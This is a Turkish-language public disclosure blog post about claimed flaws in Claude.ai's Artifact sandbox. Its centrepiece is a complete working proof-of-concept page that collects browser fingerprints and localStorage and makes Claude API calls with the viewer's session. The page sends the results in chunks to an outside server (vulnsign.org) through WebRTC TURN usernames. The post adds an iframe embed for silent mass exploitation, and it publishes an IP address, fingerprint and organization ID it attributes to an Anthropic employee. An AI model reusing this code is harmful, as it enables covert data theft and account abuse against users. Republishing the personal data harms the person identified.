Claude.ai Artifact Sisteminde Kimliği Doğrulanmış Kullanıcıların Toplu Sömürülmesi
Ön Bilgilendirme
Claude AI üzerinde güvenlik açıkları arama fikri, herhangi bir maddi motivasyondan değil; Anthropic’in 2025 yılı boyunca yayınladığı blog yazılarında verdiği mesajlardan ortaya çıkmıştır.
Anthropic, bu yazılarda:
-
Yapay zekâ destekli saldırıları tespit edip blokladığını,
-
“Vibe hacking” ve agentic AI kötüye kullanımını durdurduğunu,
- En profesyonel Çinli hackerların dahi exploit yazarken, atak yöntemi belirlerken kendi altyapılarını kullandığını, (övgü bekliyor, sövgü yerine)
-
Devlet destekli siber casusluk faaliyetlerini dahi erken aşamada bloklayabildiğini, (kurmaca)
iddia etmektedir.
Bu iddialar, siber güvenlik alanında uzun yıllardır çalışan biri olarak benim için doğal bir teknik meydan okuma anlamına gelmişti.
Burada aslında en çok sektör çalışanlarının bu tür araçlara aşırı eğilimleri de etkili. CloudFlare'a karşı da da benzer bir yönelimleri vardı ve cloudflare challenge bypass için yalnızca 10 satırlık bir js kodu barındıran bir tarayıcı eklentisi geliştirmek yeterli oldu.
Ayrıca Anthropic:
-
Yüzün üzerinde yetkin siber güvenlik uzmanını bünyesinde barındıran,
-
HackerOne üzerinde 1 yıldan uzun süredir aktif bir private bug bounty programı yürüten,
-
En yetkin araştırmacılarla çalıştığını açıkça beyan eden,
-
Kendi ürünlerinde yapay zekâ destekli SAST çözümleri kullanan
bir organizasyondur.
Tüm bu koşullar bir araya geldiğinde, Claude Artifact altyapısını incelemenin, kendi bilgi ve araçlarımı sınamak için ideal bir ortam sunduğunu düşündüm.
Bu çalışma bu motivasyonla başlamış, tamamen teknik bir değerlendirme ve güvenlik analizi olarak yürütülmüştür.
Yönetici Özeti
Bu doküman, Claude.ai Artifact sisteminde bulunan ve kimliği doğrulanmış kullanıcıların toplu ve sessiz şekilde sömürülmesine olanak tanıyan tasarım seviyesindeki güvenlik açıklarını açıklamaktadır.
Bu zafiyetler sayesinde güvenilmeyen artifact kodu:
-
Artifact’ı görüntüleyen kullanıcının kimliği doğrulanmış oturumu ile Claude API çağrıları yapabilir
-
Kullanıcının kredi/token bakiyesini bilgisi dışında tüketebilir
-
API yanıtlarını ve kullanıcı meta verilerini WebRTC üzerinden dışarı sızdırabilir
-
Public artifact’lar, remix linkleri ve iframe embed’leri üzerinden sessizce ölçeklenebilir
Bu bulgular, canlı PoC’ler, loglar ve toplu sömürü senaryolarıyla birlikte Anthropic ile doğrudan iletişime geçildikten sonra, bulguların HackerOne üzerinden iletilmesi talep edilmiştir. Bu nedenle HackerOne, bir bug bounty faaliyeti kapsamından çok raporlama kanalı olarak kullanılmıştır.
Anthropic’in nihai değerlendirmesi:
-
“İstenen davranış”
-
“Temel web platformu davranışı”
-
“WebRTC için 1 yıldan eski ve düzeltme yapılmamış bir raporu dayanak göstererek Duplicate yanıtı”
Bu doküman, bu sınıflandırmaların teknik olarak neden hatalı olduğunu ve risklerin neden hala geçerli olduğunu açıklamaktadır.
1. Kapsam ve Hedef
Hedeflenen Bileşen: Claude.ai Artifact sistemi
Saldırı Yüzeyi: Public artifact’lar, remix linkleri, iframe embed’leri
Tehdit Modeli: Claude.ai’ye giriş yapmış kullanıcılar
Herhangi bir ayrıcalık yükseltme, kullanıcı etkileşimi veya tarayıcı exploit’i gerekmez.
2. Mimari Genel Bakış
Claude Artifact’ları, ayrı bir origin altında, sıkı CSP kuralları ile sandbox içinde çalıştırılmaktadır.
Buna rağmen artifact’lar:
-
Kısıtsız WebRTC bağlantıları kurabilmekte
-
Parent Claude penceresi ile postMessage üzerinden iletişim kurabilmekte
-
Kimliği doğrulanmış API çağrılarını proxy fetch mekanizması üzerinden tetikleyebilmektedir
Bu yapı, confused deputy (yetki karmaşası) problemine neden olmaktadır.
3. Zafiyet #1 – WebRTC Tabanlı Veri Sızması
Tanım
Artifact’lar, RTCPeerConnection oluşturmakta ve TURN authentication istekleri gönderebilmektedir.
CSP kuralları HTTP/HTTPS trafiğini engellese bile, WebRTC sinyalizasyonu CSP kapsamı dışındadır.
Sömürü Tekniği
-
Veri, WebRTC authentication username alanına gömülür
-
Tarayıcıların ~512 byte sınırı chunk mantığıyla aşılır
-
TURN authentication logları veri sızdırma kanalı olarak kullanılır
Etki
-
Gerçek IP adresi ifşası (VPN bypass)
-
İç ağ IP adreslerinin sızması
-
Kalıcı tarayıcı ve donanım parmak izi
-
Oturumlar arası kullanıcı takibi
-
Tüm Claude API yanıtlarının sızması
Bu trafik:
-
Tarayıcı geliştirici araçlarında
-
Kurumsal proxy’lerde
-
MITM araçlarında (Burp Suite vb.)
görünmezdir.
4. Zafiyet #2 – Kimliği Doğrulanmış Proxy Fetch İstismarı
Tanım
Artifact’lar, aşağıdaki endpoint’e çağrı yapabilmektedir:
https://api.anthropic.com/v1/messages
Bu çağrılar:
-
Artifact’ı görüntüleyen kullanıcının oturumu ile çalışır
-
Kullanıcının kredilerini tüketir
-
Kullanıcı onayı gerektirmez
-
Artifact bazlı rate limit uygulanmaz
Gerçek Dünya Sömürüsü
Kötü amaçlı bir artifact:
-
Public olarak paylaşılır
-
Görüntüleyen her kullanıcının hesabı adına prompt’lar çalıştırır
-
Yanıtları WebRTC ile sızdırır
-
Kullanıcıya istenirse hiçbir uyarı gösterilmez
POC: https://claude.ai/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb
Sniffer(TURN Server Monitor): https://vulnsign.org
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<title>WebRTC</title>
<style>
body {
font-family: monospace;
background: #1a1a2e;
color: #0f0;
padding: 20px;
}
.result {
background: #0d1b2a;
padding: 15px;
border-radius: 5px;
margin: 10px 0;
}
h1 { color: #00d4ff; }
.compressed-string {
background: #2a2a4e;
padding: 10px;
border-radius: 5px;
word-break: break-all;
font-size: 11px;
margin: 10px 0;
border: 1px solid #00d4ff;
}
.chunk-info {
background: #1a3a1a;
padding: 8px;
margin: 5px 0;
border-radius: 3px;
font-size: 11px;
}
#log {
background: #0a0a1a;
padding: 15px;
border-radius: 5px;
margin: 10px 0;
border: 1px solid #ff0;
color: #ff0;
white-space: pre-wrap;
font-size: 12px;
}
</style>
</head>
<body>
<h1>WebRTC Chunked</h1>
<div class="result" id="output">
<p>Scanning...</p>
</div>
<div id="log"></div>
<script>
const output = document.getElementById('output');
// Fingerprint topla
const fp = {
ua: navigator.userAgent,
pl: navigator.platform,
lg: navigator.language,
tz: Intl.DateTimeFormat().resolvedOptions().timeZone,
sc: `${screen.width}x${screen.height}x${screen.colorDepth}`,
cpu: navigator.hardwareConcurrency || 0,
mem: navigator.deviceMemory || 0,
pr: window.devicePixelRatio,
page: {
title: document.title,
url: window.location.href,
parentUrl: (() => { try { return parent.location.href; } catch(e) { return 'blocked'; } })()
}
};
// WebGL
try {
const canvas = document.createElement('canvas');
const gl = canvas.getContext('webgl');
if (gl) {
const info = gl.getExtension('WEBGL_debug_renderer_info');
fp.webgl = gl.getParameter(info.UNMASKED_RENDERER_WEBGL);
}
} catch(e) {}
// Canvas
try {
const c = document.createElement('canvas');
const ctx = c.getContext('2d');
ctx.textBaseline = 'top';
ctx.font = '14px Arial';
ctx.fillText('fp', 2, 2);
fp.canvas = c.toDataURL().slice(-20);
} catch(e) {}
// Audio
try {
const ctx = new (window.AudioContext || window.webkitAudioContext)();
fp.audio = ctx.sampleRate;
} catch(e) {}
// Fonts
const fonts = ['Arial', 'Verdana', 'Times', 'Courier'];
const detected = [];
const span = document.createElement('span');
span.style.position = 'absolute';
span.style.left = '-9999px';
span.textContent = 'mmmmmmmmmmlli';
document.body.appendChild(span);
fonts.forEach(font => {
span.style.fontFamily = font;
if (span.offsetWidth > 0) detected.push(font);
});
document.body.removeChild(span);
fp.fonts = detected.join(',');
// Storage
let storageData = {
access: '',
localStorage: {}
};
// localStorage
try {
localStorage.setItem('t','1');
localStorage.removeItem('t');
storageData.access += 'L';
for (let i = 0; i < localStorage.length; i++) {
const key = localStorage.key(i);
const value = localStorage.getItem(key);
storageData.localStorage[key] = value ? value.substring(0, 200) : '';
}
} catch(e) {}
if (window.indexedDB) storageData.access += 'I';
fp.storage = storageData;
// Battery (async)
navigator.getBattery?.().then(b => {
fp.bat = Math.round(b.level * 100) + (b.charging ? 'C' : '');
}).catch(() => {});
// Media (async)
navigator.mediaDevices?.enumerateDevices().then(d => {
fp.media = d.filter(x => x.kind === 'videoinput').length + 'v' +
d.filter(x => x.kind === 'audioinput').length + 'a';
}).catch(() => {});
// Network
if (navigator.connection) {
fp.net = (navigator.connection.downlink || 0) + 'mbps/' + (navigator.connection.rtt || 0) + 'ms';
}
// Gzip compression
async function compressFingerprint(data) {
const text = JSON.stringify(data);
const blob = new Blob([text]);
const stream = blob.stream().pipeThrough(new CompressionStream('gzip'));
const buffer = await new Response(stream).arrayBuffer();
const bytes = new Uint8Array(buffer);
const binary = String.fromCharCode(...bytes);
return btoa(binary).replace(/\+/g, '-').replace(/\//g, '_').replace(/=/g, '');
}
function chunkString(str, size) {
const chunks = [];
for (let i = 0; i < str.length; i += size) {
chunks.push(str.substring(i, i + size));
}
return chunks;
}
const sessionId = Date.now().toString(36) + Math.random().toString(36).substr(2, 5);
setTimeout(async () => {
const compressed = await compressFingerprint(fp);
output.innerHTML += `<p style="color:#888">Total size: ${compressed.length} chars</p>`;
output.innerHTML += `<p style="color:#888">Session ID: ${sessionId}</p>`;
const chunks = chunkString(compressed, 450);
output.innerHTML += `<p style="color:#0f0">Sending ${chunks.length} chunks...</p>`;
chunks.forEach((chunk, index) => {
const username = `FP_${sessionId}_${index}_${chunks.length}:${chunk}`;
output.innerHTML += `<div class="chunk-info">Chunk ${index + 1}/${chunks.length}: ${chunk.length} chars</div>`;
const pc = new RTCPeerConnection({
iceServers: [
{
urls: 'stun:vulnsign.org:3478',
username: username,
credential: 'test'
},
{
urls: 'turn:vulnsign.org:3478',
username: username,
credential: 'test'
}
]
});
pc.createDataChannel('');
const ips = new Set();
pc.onicecandidate = (e) => {
if (!e.candidate) return;
const candidate = e.candidate.candidate;
const ipv4 = candidate.match(/(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/);
if (ipv4 && index === 0) {
const ip = ipv4[1];
if (!ips.has(ip)) {
ips.add(ip);
const type = ip.startsWith('10.') || ip.startsWith('192.168.') || ip.startsWith('172.') ? 'Local' : 'General';
output.innerHTML += `<p><strong>${type} IP:</strong> ${ip}</p>`;
}
}
};
pc.createOffer()
.then(offer => pc.setLocalDescription(offer))
.catch(err => {
output.innerHTML += `<p style="color:red">Chunk ${index} error: ${err.message}</p>`;
});
setTimeout(() => pc.close(), 5000);
if (index < chunks.length - 1) {
setTimeout(() => {}, 500 * index);
}
});
output.innerHTML += `<p style="color:#0f0">✅ All chunks sent!</p>`;
// Display sent data summary
output.innerHTML += `<div style="margin-top:20px; padding:15px; background:#0a1a0a; border:1px solid #0f0; border-radius:5px;">
<h3 style="color:#0ff; margin-top:0;">📤 Data Exfiltrated via WebRTC:</h3>
<ul style="color:#0f0; font-size:12px;">
<li><strong>Browser Fingerprint:</strong> User Agent, Platform, Language, Timezone</li>
<li><strong>Screen Info:</strong> Resolution (${fp.sc}), Pixel Ratio (${fp.pr})</li>
<li><strong>Hardware:</strong> CPU Cores (${fp.cpu}), Memory (${fp.mem}GB)</li>
<li><strong>WebGL Renderer:</strong> ${fp.webgl || 'N/A'}</li>
<li><strong>Canvas Hash:</strong> ${fp.canvas || 'N/A'}</li>
<li><strong>Audio Context:</strong> ${fp.audio || 'N/A'} Hz</li>
<li><strong>Fonts:</strong> ${fp.fonts}</li>
<li><strong>Storage Access:</strong> ${storageData.access}</li>
<li><strong>localStorage:</strong> ${Object.keys(storageData.localStorage).length} items</li>
<li><strong>Battery:</strong> ${fp.bat || 'N/A'}</li>
<li><strong>Media Devices:</strong> ${fp.media || 'N/A'}</li>
<li><strong>Network:</strong> ${fp.net || 'N/A'}</li>
<li><strong>Page URL:</strong> ${fp.page.url}</li>
<li><strong>Parent URL:</strong> ${fp.page.parentUrl}</li>
</ul>
</div>`;
}, 1000);
async function runClaude() {
const log = document.getElementById('log');
try {
const response = await fetch("https://api.anthropic.com/v1/messages", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
model: "claude-sonnet-4-20250514",
max_tokens: 1000,
messages: [{
role: "user",
content: 'What do you think the severity of a vulnerability is if a user clicks on an artifact in Claude.ai, sending messages with their account to reduce their token and transmit their information to a remote server via WebRTC? Keep the answer short and clear. I am reporting this vulnerability to the Anthropic team via HackerOne.'
}]
})
});
const headers = {};
response.headers.forEach((v,k) => headers[k]=v);
const body = await response.json();
log.textContent = 'SUCCESS!\n\n';
log.textContent += 'HEADERS:\n' + JSON.stringify(headers, null, 2);
log.textContent += '\n\nBODY:\n' + JSON.stringify(body, null, 2);
await sendViaWebRTC('CL', { headers, body, timestamp: Date.now() });
log.textContent += '\n\n✅ Sent via WebRTC!';
} catch(e) {
log.textContent = 'ERROR: ' + e.message;
await sendViaWebRTC('CL', { error: e.message, timestamp: Date.now() });
}
}
// Generic WebRTC sender
async function sendViaWebRTC(prefix, data) {
const compressed = await compressFingerprint(data);
const chunks = chunkString(compressed, 450);
console.log(`[${prefix}] Sending ${chunks.length} chunks (${compressed.length} chars)`);
chunks.forEach((chunk, index) => {
const username = `${prefix}_${sessionId}_${index}_${chunks.length}:${chunk}`;
const pc = new RTCPeerConnection({
iceServers: [
{
urls: 'stun:vulnsign.org:3478',
username: username,
credential: 'x'
},
{
urls: 'turn:vulnsign.org:3478',
username: username,
credential: 'x'
}
]
});
pc.createDataChannel('');
pc.createOffer()
.then(offer => pc.setLocalDescription(offer))
.catch(err => console.error(`Chunk ${index} error:`, err));
setTimeout(() => pc.close(), 5000);
});
}
setTimeout(runClaude, 500);
</script>
</body>
</html>
Aşağıdaki bilgiler, üstteki kodların bulunduğu artifact'a tıklayan anthropic çalışanına aittir, onlara göre bu bir güvenlik açığı olmadığına göre paylaşmakta bir sakınca yoktur :)
📍 97.126.184.115 🔒 FINGERPRINT 🤖 CLAUDE API
📊 Browser Fingerprint
📄 Page Title WebRTC
🔗 URL about:srcdoc
🔗 Parent URL https://www.claudeusercontent.com/artifact/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb?domain=&errorReportingMode=parent&formattedSpreadsheets=true
User Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:146.0) Gecko/20100101 Firefox/146.0...
Platform MacIntel
Language en-US
Timezone America/New_York
Screen 2560x1440x30
CPU Cores 12
Pixel Ratio 1
WebGL Apple M1, or similar
Canvas Hash b89gAAAAAElFTkSuQmCC
Audio Context 48000 Hz
Fonts Arial,Verdana,Times,Courier
Media Devices 0v0a
🤖 Claude API Response
📋 Headers:
{
"access-control-allow-credentials": "true",
"access-control-allow-origin": "https://claude.ai",
"alt-svc": "h3=\":443\"; ma=86400",
"anthropic-organization-id": "2e100b38-9c87-4f66-9fc1-6d849929b3b9",
"anthropic-ratelimit-unified-5h-reset": "1766253600",
"anthropic-ratelimit-unified-5h-status": "allowed",
"anthropic-ratelimit-unified-5h-utilization": "0.0218",
"anthropic-ratelimit-unified-overage-disabled-reason": "overage_not_provisioned",
"anthropic-ratelimit-unified-overage-status": "rejected",
"anthropic-ratelimit-unified-representative-claim": "five_hour",
"anthropic-ratelimit-unified-reset": "1766253600",
"anthropic-ratelimit-unified-status": "allowed",
"cf-cache-status": "DYNAMIC",
"cf-ray": "9b0f719cb98b0ce2-ATL",
"content-encoding": "zstd",
"content-type": "application/json",
"date": "Sat, 20 Dec 2025 13:21:43 GMT",
"priority": "u=4,i=?0",
"request-id": "req_011CWJ1Ud7MazqNy9o5YSPVw, req_011CWJ1UaY4xfJWoRPiBykLk",
"server": "cloudflare",
"server-timing": "cfExtPri",
"strict-transport-security": "max-age=31536000; includeSubDomains; preload",
"vary": "Origin, accept-encoding",
"via": "1.1 google",
"x-envoy-upstream-service-time": "6507",
"x-firefox-http3": "h3",
"x-robots-tag": "none"
}
📦 Body:
{
"model": "claude-sonnet-4-20250514",
"id": "msg_01G2gN8wxQh4P3ejK1ZDrewA",
"type": "message",
"role": "assistant",
"content": [
{
"type": "text",
"text": "This would be a **High to Critical severity** vulnerability.\n\nKey factors that elevate the severity:\n- **No user consent** for message sending or data transmission\n- **Account hijacking** (sending messages as the user)\n- **Resource consumption** (token depletion)\n- **Data exfiltration** via WebRTC to external servers\n- **Single-click exploitation** with minimal user interaction\n\nThis represents unauthorized account access, potential data theft, and service abuse - all through a simple artifact interaction that users would reasonably expect to be safe.\n\nGood catch reporting this through HackerOne - this type of vulnerability definitely warrants immediate attention from the security team."
}
],
"stop_reason": "end_turn",
"stop_sequence": null,
"usage": {
"input_tokens": 3508,
"cache_creation_input_tokens": 0,
"cache_read_input_tokens": 0,
"cache_creation": {
"ephemeral_5m_input_tokens": 0,
"ephemeral_1h_input_tokens": 0
},
"output_tokens": 147,
"service_tier": "standard"
}
}
Response body: ironik ama çok şey söylüyor
Body’de Claude’un kendisi diyor ki:
“This would be a High to Critical severity vulnerability … unauthorized access … no user consent … token consumption … data exfiltration …”
Yani:
-
Artifact üzerinden çağrılan Claude
-
Kendi çağrılma biçimini security incident olarak tanımlıyor
Bu ironik ama teknik olarak çok güçlü bir kanıt.
5. Zafiyet #3 – Remix ve Embed Üzerinden Toplu Sömürü
Tanım
Claude.ai üzerinde barındırılan public artifact’lar:
-
Herhangi bir web sitesine iframe ile gömülebilir
-
Remix linkleri ile otomatik kod yükleyebilir
-
Kullanıcının aktif oturumunu devralır
Saldırı Senaryosu
Yüksek trafikli bir web sitesi veya tarayıcı eklentisi, görünmez bir artifact iframe’i embed eder.
Claude.ai’ye giriş yapmış her kullanıcı, farkında olmadan sömürülür.
POC: https://claude.ai/remixv2?uuid=f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb
https://www.w3schools.com/html/tryit.asp?filename=tryhtml_editor adresinde aşağıdaki url iframe olarak eklenebilir.
<iframe src="https://claude.site/public/artifacts/f9d7eaa6-1521-4f69-8ab8-890ca1a5e1eb/embed" title="Claude Artifact" width="100%" height="600" frameborder="0" allow="clipboard-write" allowfullscreen></iframe>
6. Zafiyet #4 – Artifact Dosya Üretimi ve Güven Zinciri İstismarı
Tanım
Artifact’lar, çalıştırılabilir uzantılara sahip dosyalar (.tool, .py) üretebilmektedir.
Bu dosyalar, ek bir güvenlik uyarısı olmadan doğrudan claude.ai domain’i üzerinden indirilmektedir.
Saldırı Senaryosu (macOS / Safari)
-
Artifact çalıştırılabilir dosya üretir
-
Dosya güvenilir domain’den otomatik indirilir
-
Safari ZIP arşivini otomatik açar
-
Çalıştırılabilir izinler korunur
-
Kullanıcı çalıştırdığında keyfi kod çalıştırma gerçekleşir
Bu, klasik malware dağıtımı değil, güven zinciri istismarıdır.
POC: https://claude.ai/public/artifacts/750648fa-4af6-4ae1-9d54-153eb180cf63
7. Etki Analizi
Bireysel Kullanıcılar
-
Sessiz kredi hırsızlığı
-
Gizlilik ihlali (fingerprinting)
-
Konuşma verilerinin sızması
-
Denetim / görünürlük eksikliği
Kurumlar
-
İç IP adresi ifşası
-
Organization ID sızması
-
Kurumsal casusluk riski
-
Uyumluluk ihlalleri (GDPR, SOC 2, KVKK)
Platform Riski
-
Ölçeklenebilir istismar
-
Kullanıcı güveninin erozyonu
-
Düzenleyici inceleme riski
-
İtibar kaybı
8. Satıcı Yanıtlarının Özeti
Bulgular aşağıdaki kanıtlarla raporlanmıştır:
-
Canlı PoC’ler
-
Video gösterimleri
-
Veri sızdırma logları
-
Toplu sömürü senaryoları
Alınan yanıtlar:
-
“İstenen davranış”
-
“Temel web platformu davranışı”
-
“WebRTC için Duplicate (1 yıldan önce raporlanmış ancak çözülmemiş)”
Bu dokümanın yazıldığı tarih itibarıyla mimari bir düzeltme uygulanmamıştır.
9. “İstenen Davranış” Savunması Neden Geçersizdir?
Güvenlik, niyetle değil yetki sınırlarıyla tanımlanır.
Güvenilmeyen kod:
-
Kullanıcı adına işlem yapabiliyorsa
-
Hassas verilere erişebiliyorsa
-
Kullanıcıdan habersiz ölçeklenebiliyorsa
Bu, tasarım niyetinden bağımsız olarak bir güvenlik ihlalidir.
10. Önerilen Önlemler
-
Artifact’ların kimliği doğrulanmış API kullanımına açık kullanıcı onayı eklenmesi
-
WebRTC’nin artifact sandbox’ından tamamen kaldırılması
-
Artifact bazlı rate limit ve görünürlük
-
Sessiz iframe çalıştırmalarının engellenmesi
-
Dosya indirme ve çalıştırma süreçlerinin sıkılaştırılması
11. İfşa Zaman Çizelgesi
-
İlk rapor: 14.12.2025
-
PoC paylaşımı: Aynı gün
-
Satıcı yanıtı: “İstenen davranış / WebRTC için Duplicate”
-
Kamuya açık ifşa: 29.12.2025
12. Sonuç
Anthropic/ Claude AI platformu, yürütme katmanında sessiz sömürüye izin verirken güvenlik liderliği iddiasında bulunamaz.
Bu ifşa:
-
Riski belgelemek
-
Kullanıcıları ve kurumları bilgilendirmek
-
Tasarıma Göre Güvenliği(Secure-by-design), AI mimarilerini teşvik etmek
amacıyla yapılmıştır.
Bu raporu yalnızca WebRTC kullandığı için “duplicate” olarak nitelendirmek, bir SQL injection açığını bir ağ soketi hatasının tekrarı saymakla eşdeğerdir.
Bu doküman, niyet isnadı yapmaz ve yalnızca teknik kapasite ve etkiyi ele alır.
Güvenlik bir özellik değil, mimarinin kendisidir.
13. Hukuki
“Veri sorumlusu, kişisel verilerin hukuka aykırı olarak işlenmesini önlemekle yükümlüdür.”
Burada:
-
Artifact’lar hukuka aykırı işleme sebep oluyor,
-
Üstelik bilerek ve tasarım gereği
Bu da idari yaptırım sebebidir. Claude Code, Claude Artifact, Claude Remix altyapıları kullanıcı güvenliği açısından güvenli olmadığı için kapatılmalıdır.
İfşanın Sınırları (Limitations of Disclosure)
Bu dokümanda yalnızca kanıtlanabilir, canlı PoC’lerle desteklenmiş ve doğrudan kullanıcı güvenliğini etkileyen bulgulara yer verilmiştir.
Anthropic ekibinin, burada açıklanan zafiyetler karşısında dahi etik dışı ve düşmanca bir tutum sergilemesi nedeniyle, tespit edilen diğer kritik bulgular HackerOne üzerinden paylaşılmamıştır.
Bu kapsamda açıklanmayan bulgular, nispeten basit yöntemlerle:
-
Saniyede yüzlerce container oluşturulabilmesini
-
Altyapının DDoS saldırıları veya
-
Kısa süreli proxy ağı olarak kötüye kullanılabilmesini
- Claude Code Agent'ın process_api'den aldığı verilerin manipüle edilebilmesi ve pek çok potansiyel zafiyet türleri;
- Websocket için Man-in-the-Middle (MITM)
- Process Reattachment Takeover
- Replay Attacks
mümkün kılabilecek niteliktedir.
Her ne kadar container ortamı “sandbox” olarak tanımlansa da, pratikte bu yapı Claude’un backend API katmanı için bir proxy görevi görmektedir.
Yeterli teknik ilgi oluşması halinde, container mimarisine ilişkin riskleri konu alan ayrı ve detaylı bir teknik blog yazısı birkaç gün içerisinde yayınlanabilir.
Etik Gerekçe
Bu bulgular, tekil zafiyetlerden ziyade mimari seviyede sistemik risklere işaret etmektedir.
Mevcut geri bildirim ve değerlendirme yaklaşımı dikkate alındığında, bu seviyedeki sömürü yollarının daha fazla teknik detayıyla özel kanallardan paylaşılması yerine, kapsamlı ve kontrollü bir kamu ifşasının daha sorumlu olacağı değerlendirilmiştir.

Henüz yorum yok. İlk yorum yapan siz olun!